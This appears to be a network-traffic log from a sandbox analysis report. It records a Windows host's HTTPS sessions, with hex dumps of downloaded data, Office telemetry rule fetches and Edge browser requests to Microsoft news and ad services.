2024-10-29 05:59:31 UTC	16384	IN	Data Raw: da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 e3 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-10-29 05:59:31 UTC	1274	IN	Data Raw: b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 55 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WDU
2024-10-29 05:59:32 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-10-29 05:59:32 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-10-29 05:59:32 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-10-29 05:59:32 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-10-29 05:59:32 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-10-29 05:59:32 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49862	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 86dc56c9-201e-00aa-5987-283928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055931Z-15b8d89586f5s5nz3ffrgxn5ac00000006r000000000bqq6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49863	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 6c6fa777-201e-003c-1958-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055931Z-r197bdfb6b48pcqqxhenwd2uz800000006wg0000000098e5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49868	20.125.209.212	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	1165	OUT	GET /c.gif?rnd=1730181570259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=bfe00f3163ab4b7d893198e3cbe5ca88&activityId=bfe00f3163ab4b7d893198e3cbe5ca88&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1
2024-10-29 05:59:31 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1730181570259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=bfe00f3163ab4b7d893198e3cbe5ca88&activityId=bfe00f3163ab4b7d893198e3cbe5ca88&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=80EA2B33978444B08900C350AC4F446D&RedC=c.msn.com&MXFR=082392D97AE764340DA987FE7BEF6550 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=082392D97AE764340DA987FE7BEF6550; domain=.msn.com; expires=Sun, 23-Nov-2025 05:59:31 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Tue, 29 Oct 2024 05:59:31 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49864	20.42.73.31	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	1072	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730181570257&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4325 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1
2024-10-29 05:59:31 UTC	4325	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 39 54 30 35 3a 35 39 3a 33 30 2e 32 35 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 30 30 37 65 65 39 38 2d 62 64 65 33 2d 34 65 34 35 2d 61 33 34 64 2d 64 66 37 33 66 32 30 32 62 65 39 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 32 32 37 38 37 35 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-10-29T05:59:30.252Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"2007ee98-bde3-4e45-a34d-df73f202be99","epoch":"2622787570"},"app":{"locale
2024-10-29 05:59:32 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6323e1d267c24192845c78e15bc87752&HASH=6323&LV=202410&V=4&LU=1730181572022; Domain=.microsoft.com; Expires=Wed, 29 Oct 2025 05:59:32 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=dab3741244d0436cbb0107a791a80c1e; Domain=.microsoft.com; Expires=Tue, 29 Oct 2024 06:29:32 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1765 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 29 Oct 2024 05:59:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49870	20.1.248.118	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=082392D97AE764340DA987FE7BEF6550&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=bf77de1ad285441bcfc42d4d2b9b44ae HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1
2024-10-29 05:59:32 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2657 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132775-T700343875-C128000000002115069+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115069+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 29 Oct 2024 05:59:31 GMT Connection: close
2024-10-29 05:59:32 UTC	2657	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 50 65 72 67 61 6d 6f 6e 2c 20 54 75 72 6b 65 79 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 50 65 72 67 61 6d 6f 6e 25 32 43 2b 54 75 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Pergamon, Turkey\",\"cta\":\"https:\/\/www.bing.com\/search?q=Pergamon%2C+Tu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49878	104.93.21.152	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:32 UTC	628	OUT	OPTIONS /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1 Host: www.bing.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-personalbing-csrf,x-personalbing-flights,x-search-clientid,x-search-uilang Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
